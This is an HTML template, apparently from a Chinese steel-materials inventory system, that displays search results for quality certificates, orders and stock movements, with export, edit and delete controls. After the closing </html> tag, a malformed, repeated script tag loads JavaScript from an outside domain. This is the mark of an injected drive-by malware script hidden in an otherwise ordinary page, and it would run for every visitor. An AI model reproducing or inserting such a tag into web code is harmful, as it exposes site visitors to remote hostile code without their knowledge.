<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<title>查询结果</title>
		<style type="text/css">
<!--
body {
	background-image: url(../img/back.gif);
}
-->
</style>
		<style>
td{
	border-right:1px solid #cbdced;
	border-bottom: 1px solid #cbdced;
	padding:3px;
}

th{
	background-color:#cbdced;
	padding:3px;
	border-right:1px solid #fff;
	border-bottom:1px solid #fff;
}
table{
	clear:both;
	border-top: 1px solid #cbdced;
	border-left: 1px solid #cbdced;
}
body{
	font-size:14px;
}
.green{
	color:green;
}

.red{
	color:red;
}

.blue{
	color:blue;
}
.exportBtn{
	margin-right:30px;
	margin-top:2px;
	margin-bottom:2px;
	float:right;
	display:block;
	padding:1px;
}

span[class=exportBtn]:hover{
	background-color:#8A95A1;
	color:white;
}
		</style>
		<script type="text/javascript">
		function allChecksChange(obj){
			checks = document.getElementsByTagName("input");
			for(i = 0; i < checks.length; i++){
				o = checks[i];
				type = o.attributes.getNamedItem("type");
				if(type.nodeValue == 'checkbox'){
					o.checked = obj.checked;
				}
			}
			//checks.checked = obj.checked;
		}
		
		function deleteConfirm(){
		return window.confirm('你确实要删除选中的这些记录吗？');
		}
		</script>
	</head>
	<body>
	<{if $advancedSearch}>
	<div id="sbar" style="width:100%; padding: 0px 0px 4px 0px; border-bottom:1px solid #c9d7f1;">
			<span><a href="excelUpload.html">表格上传</a></span>
			| <span><a href="index.html">主页</a></span>
			| <span><a href="advancedSearch.html">回到高级搜索</a></span>
	</div>
	<{/if}>
	
	<form action="batchDelete.php" method="POST" onsubmit="return deleteConfirm()" >
	
	<{if $ruku_certificationNumber or $chuku_certificationNumber or $main_certificationNumber or $main3_materialCode}>
		<{if $advancedSearch}>
			<span class="exportBtn">
				<input type="submit" value=" 删除选中 "/>
			</span>
			<span class="exportBtn">
				<a href="exportAdvancedTable.php?certificationNumber=<{$certificationNumber}>&facheNumber=<{$facheNumber}>&size1From=<{$size1From}>&size1To=<{$size1To}>&size2From=<{$size2From}>&size2To=<{$size2To}>&size3From=<{$size3From}>&size3To=<{$size3To}>&rukuDateFrom=<{$rukuDateFrom}>&rukuDateTo=<{$rukuDateTo}>
				&chukuDateFrom=<{$chukuDateFrom}>&chukuDateTo=<{$chukuDateTo}>&certificationCodification=<{$certificationCodification}>&sequenceNumber=<{$sequenceNumber}>&uploadTimeFrom=<{$uploadTimeFrom}>&uploadTimeTo=<{$uploadTimeTo}>
				&filename=<{$filename}>&orderNumber=<{$orderNumber}>&orderSubitemNumber=<{$orderSubitemNumber}>&unitPrice=<{$unitPrice}>
				&manufactory=<{$manufactory}>&purchaseNumber=<{$purchaseNumber}>&authenticationMark=<{$authenticationMark}>
				&steelNumber=<{$steelNumber}>&unitPrice=<{$unitPrice}>&materialNumber=<{$materialNumber}>
				&sampleBatch=<{$sampleBatch}>&shipmentDateFrom=<{$shipmentDateFrom}>&consignmentBatch=<{$consignmentBatch}>
				&shipmentDateTo=<{$shipmentDateTo}>&month=<{$month}>&vehicleNumber=<{$vehicleNumber}>&consignee=<{$consignee}>&remark=<{$remark}>
				&main=<{$main}>&ruku=<{$ruku}>&chuku=<{$chuku}>>" title="点击进行导出结果"> 导出表格 </a>
			</span>
		<{elseif $mainSearch}>
			<span class="exportBtn">
				<a href="exportMainTable.php?materialCode=<{$materialCode}>&certificationNumber=<{$certificationNumber}>&
				facheNumber=<{$facheNumber}>&certificationCodification=<{$certificationCodification}>&
				sequenceNumber=<{$sequenceNumber}>&manufactory=<{$manufactory}>&
				authenticationMark=<{$authenticationMark}>&steelNumber=<{$steelNumber}>&
				size1From=<{$size1From}>&size1To=<{$size1To}>&size2From=<{$size2From}>&size2To=<{$size2To}>&
				size3From=<{$size3From}>&size3To=<{$size3To}>&orderNumber=<{$orderNumber}>&
				orderSubitemNumber=<{$orderSubitemNumber}>&unitPrice=<{$unitPrice}>&materialNumber=<{$materialNumber}>&
				consignmentBatch=<{$consignmentBatch}>&sampleBatch=<{$sampleBatch}>&purchaseNumber=<{$purchaseNumber}>&
				shipmentDateFrom=<{$shipmentDateFrom}>&shipmentDateTo<{$shipmentDateTo}>=&month=<{$month}>&
				vehicleNumber=<{$vehicleNumber}>&consignee=<{$consignee}>&filename=<{$filename}>&
				uploadTimeFrom=<{$uploadTimeFrom}>&uploadTimeTo=<{$uploadTimeTo}>&remark=<{$remark}>" title="点击进行导出结果"> 导出表格 </a>
			</span>
		<{else}>
			<span class="exportBtn">
				<a href="exportSimpleTable.php?stype=<{$stype}>&keyname=<{$keyname}>" title="点击进行导出结果">导出表格</a>
			</span>
		<{/if}>
	<{else}>
		抱歉没有符合你搜索的条目
	<{/if}>
	<table cellpadding="0" cellspacing="0">
		<{if $main_certificationNumber}>
		<tr>
			<{if $mainSearch}>
			<th style="width:14em">材料代码</th>
			<{/if}>
			<th style="width:14em">产品质量证明书号</th>
			<th style="width:5em">产品质量证书编号</th>
			<th style="width:14em">发车证书号</th>
			<th style="width:5em">批次</th>
			<th style="width:6em">生产厂家</th>
			<th style="width:6em">船级</th>
			<th style="width:6em">材质</th>
			<th style="width:10em">厚</th>
			<th style="width:5em">宽</th>
			<th style="width:6em">长</th>
			<th style="width:6em">单重</th>
			<th style="width:6em">数量</th>
			<th style="width:6em">订单号</th>
			<th style="width:6em">订单子项号</th>
			<th style="width:6em">受订单价</th>
			<th style="width:6em">物料号</th>
			<th style="width:6em">发货批次</th>
			<th style="width:6em">批号</th>
			<th style="width:6em">购单号</th>
			<th style="width:6em">发货时间</th>
			<th style="width:6em">合同月份</th>
			<th style="width:10em">车号</th>
			<th style="width:10em">销售产家</th>
			<th style="width:10em">备注</th>
			<th style="width:6em">上传文件名</th>
			<th style="width:6em">上传时间</th>
			<{if $advancedSearch}>
				<th width="6px">编辑</th>
				<th width="6px">删除<input type="checkbox" name="i_d" onchange="allChecksChange(this)" /></th>
			<{/if}>
			<{if $mainSearch}>
			<th style="width:6em">订货清单数量</th>
			<th style="width:6em">材料代码数量</th>
			<th style="width:6em">订货清单总数量</th>
			<th style="width:6em">质量证书分配数量</th>
			<th style="width:6em">批号数量</th>
			<th style="width:6em">质量证书号数量</th>
			<th style="width:6em">质量证书号总数量</th>
			<{/if}>
		</tr>
		
		<{section name=main loop=$main_certificationNumber}>
		<tr class="green">
			<{if $mainSearch}>
			<td><{$main3_materialCode[main]}></td>
			<{/if}>
			<td><{$main_certificationNumber[main]}></td>
			<td><a href="showImage.php?image=<{$main_certificationCodification[main]}>.tif"><{$main_certificationCodification[main]}></a></td>
			<td><{$main_facheNumber[main]}></td>
			<td><{$main_sequenceNumber[main]}></td>
			<td><{$main_manufactory[main]}></td>
			<td><{$main_authenticationMark[main]}></td>
			<td><{$main_steelNumber[main]}></td>
			<td><{$main_size1[main]}></td>
			<td><{$main_size2[main]}></td>
			<td><{$main_size3[main]}></td>
			<td><{$main_unitWeight[main]}></td>
			<td><{$main_count[main]}></td>
			<td><{$main_orderNumber[main]}></td>
			<td><{$main_orderSubitemNumber[main]}></td>
			<td><{$main_unitPrice[main]}></td>
			<td><{$main_materialNumber[main]}></td>
			<td><{$main_consignmentBatch[main]}></td>
			<td><{$main_sampleBatch[main]}></td>
			<td><{$main_purchaseNumber[main]}></td>
			<td><{$main_shipmentDate[main]}></td>
			<td><{$main_month[main]}></td>
			<td><{$main_vehicleNumber[main]}></td>
			<td><{$main_consignee[main]}></td>
			<td><{$main_remark[main]}></td>
			<td><{$main_filename[main]}></td>
			<td><{$main_uploadTime[main]}></td>
			<{if $advancedSearch}>
				<td><a href="rowEdit.php?type=main&id=<{$main_id[main]}>">编辑</a></td>
				<td><input type="checkbox" name="main_id<{$main_id[main]}>" value="<{$main_id[main]}>" /></td>
			<{/if}>
			<{if $mainSearch}>
			<td><{$main3_allocatedCount[main]}></td>
			<td><{$main3_count[main]}></td>
			<td><{$main3_sumCount[main]}></td>
			<td><{$main_allocatedCount[main]}></td>
			<td><{$main_count[main]}></td>
			<td><{$main_certificationCount[main]}></td>
			<td <{if $main3_sumCount[main] < $main_sumCount[main]}> class="red" title="完成数量大于总数量" <{/if}>><{$main_sumCount[main]}></td>
			<{/if}>
		</tr>
		<{/section}>
		<{/if}>
		
		<!-- <{if $main3_materialCode}>
		<tr>
			<th style="width:14em">材料代码</th>
			<th style="width:5em">批次</th>
			<th style="width:6em">生产厂家</th>
			<th style="width:6em">船级</th>
			<th style="width:6em">材质</th>
			<th style="width:10em">厚</th>
			<th style="width:5em">宽</th>
			<th style="width:6em">长</th>
			<th style="width:6em">数量</th>
			<th style="width:6em">单重</th>
			<th style="width:6em">订单号</th>
			<th style="width:6em">订单子项号</th>
			<th style="width:6em">受订单价</th>
			<th style="width:6em">购单号</th>
			<th style="width:10em">备注</th>
			<th style="width:6em">上传文件名</th>
			<th style="width:6em">上传时间</th>
		</tr>
		
		<{section name=main3 loop=$main3_materialCode}>
		<tr class="green">
			<td><{$main3_materialCode[main3]}></td>
			<td><{$main3_sequenceNumber[main3]}></td>
			<td><{$main3_manufactory[main3]}></td>
			<td><{$main3_authenticationMark[main3]}></td>
			<td><{$main3_steelNumber[main3]}></td>
			<td><{$main3_size1[main3]}></td>
			<td><{$main3_size2[main3]}></td>
			<td><{$main3_size3[main3]}></td>
			<td><{$main3_count[main3]}></td>
			<td><{$main3_unitWeight[main3]}></td>
			<td><{$main3_orderNumber[main3]}></td>
			<td><{$main3_orderSubitemNumber[main3]}></td>
			<td><{$main3_unitPrice[main3]}></td>
			<td><{$main3_purchaseNumber[main3]}></td>
			<td><{$main3_remark[main3]}></td>
			<td><{$main3_filename[main3]}></td>
			<td><{$main3_uploadTime[main3]}></td>
		</tr>
		<{/section}>
		<{/if}>
		-->
		<{if $ruku_certificationNumber}>
		<tr>
			<th>产品质量证明书号</th>
			<th>产品质量证书编号</th>
			<th>发车证书号</th>
			<th>批次</th>
			<th>生产厂家</th>
			<th>船级</th>
			<th>材质</th>
			<th>厚</th>
			<th>宽</th>
			<th>长</th>
			<th>数量</th>
			<th>单重</th>
			<th>订单号</th>
			<th>订单子项号</th>
			<th>受订单价</th>
			<th>物料号</th>
			<th>发货批次</th>
			<th>批号</th>
			<th>购单号</th>
			<th>入库日期</th>
			<th>合同月份</th>
			<th>车号</th>
			<th>销售产家</th>
			<th>备注</th>
			<th>上传文件名</th>
			<th>上传时间</th>
			<{if $advancedSearch}>
				<th>编辑</th>
				<th>删除<input type="checkbox" name="i_d" onchange="allChecksChange(this)"></th>
			<{/if}>
		</tr>
		<{section name=ruku loop=$ruku_certificationNumber}>
		<tr class="blue">
			<td><{$ruku_certificationNumber[ruku]}></td>
			<td><a href="showImage.php?image=<{$ruku_certificationCodification[ruku]}>.tif"><{$ruku_certificationCodification[ruku]}></a></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td><{$ruku_consignmentBatch[ruku]}></td>
			<td></td>
			<td></td>
			<td><{$ruku_rukuDate[ruku]}></td>
			<td></td>
			<td></td>
			<td></td>
			<td>备注一：<{$ruku_remark1[ruku]}><br />
			备注二：<{$ruku_remark2[ruku]}></td>
			<td><{$ruku_filename[ruku]}></td>
			<td><{$ruku_uploadTime[ruku]}></td>
			<{if $advancedSearch}>
				<td><a href="rowEdit.php?type=ruku&id=<{$ruku_id[ruku]}>">编辑</a></td>
				<td><input type="checkbox" name="ruku_id<{$ruku_id[ruku]}>" value="<{$ruku_id[ruku]}>" /></td>
			<{/if}>
		</tr>
		<{/section}>
		<{/if}>
		
		<{if $chuku_certificationNumber}>
		<tr>
			<th>产品质量证明书号</th>
			<th>产品质量证书编号</th>
			<th>发车证书号</th>
			<th>批次</th>
			<th>生产厂家</th>
			<th>船级</th>
			<th>材质</th>
			<th>厚</th>
			<th>宽</th>
			<th>长</th>
			<th>数量</th>
			<th>单重</th>
			<th>订单号</th>
			<th>订单子项号</th>
			<th>受订单价</th>
			<th>物料号</th>
			<th>发货批次</th>
			<th>批号</th>
			<th>购单号</th>
			<th>出库日期</th>
			<th>合同月份</th>
			<th>车号</th>
			<th>经手人</th>
			<th>备注</th>
			<th>上传文件名</th>
			<th>上传时间</th>
			<{if $advancedSearch}>
				<th>编辑</th>
				<th>删除<input type="checkbox" name="i_d" onchange="allChecksChange(this)"></th>
			<{/if}>
		</tr>
		<{section name=chuku loop=$chuku_certificationNumber}>
		<tr class="blue">
			<td><{$chuku_certificationNumber[chuku]}></td>
			<td><a href="showImage.php?image=<{$chuku_certificationCodification[chuku]}>.tif"><{$chuku_certificationCodification[chuku]}></a></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td><{$chuku_consignmentBatch[chuku]}></td>
			<td></td>
			<td></td>
			<td><{$chuku_chukuDate[chuku]}></td>
			<td></td>
			<td></td>
			<td><{$chuku_handler[chuku]}></td>
			<td>备注一：<{$chuku_remark1[chuku]}><br />备注二：<{$chuku_remark2[chuku]}></td>
			<td><{$chuku_filename[chuku]}></td>
			<td><{$chuku_uploadTime[chuku]}></td>
			<{if $advancedSearch}>
				<td><a href="rowEdit.php?type=chuku&id=<{$chuku_id[chuku]}>">编辑</a></td>
				<td><input type="checkbox" name="chuku_id<{$chuku_id[chuku]}>" value="<{$chuku_id[chuku]}>" /></td>
			<{/if}>
		</tr>
		<{/section}>
		<{/if}>
	</table>
	</form>
	</body>
</html><scr<scr<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script> 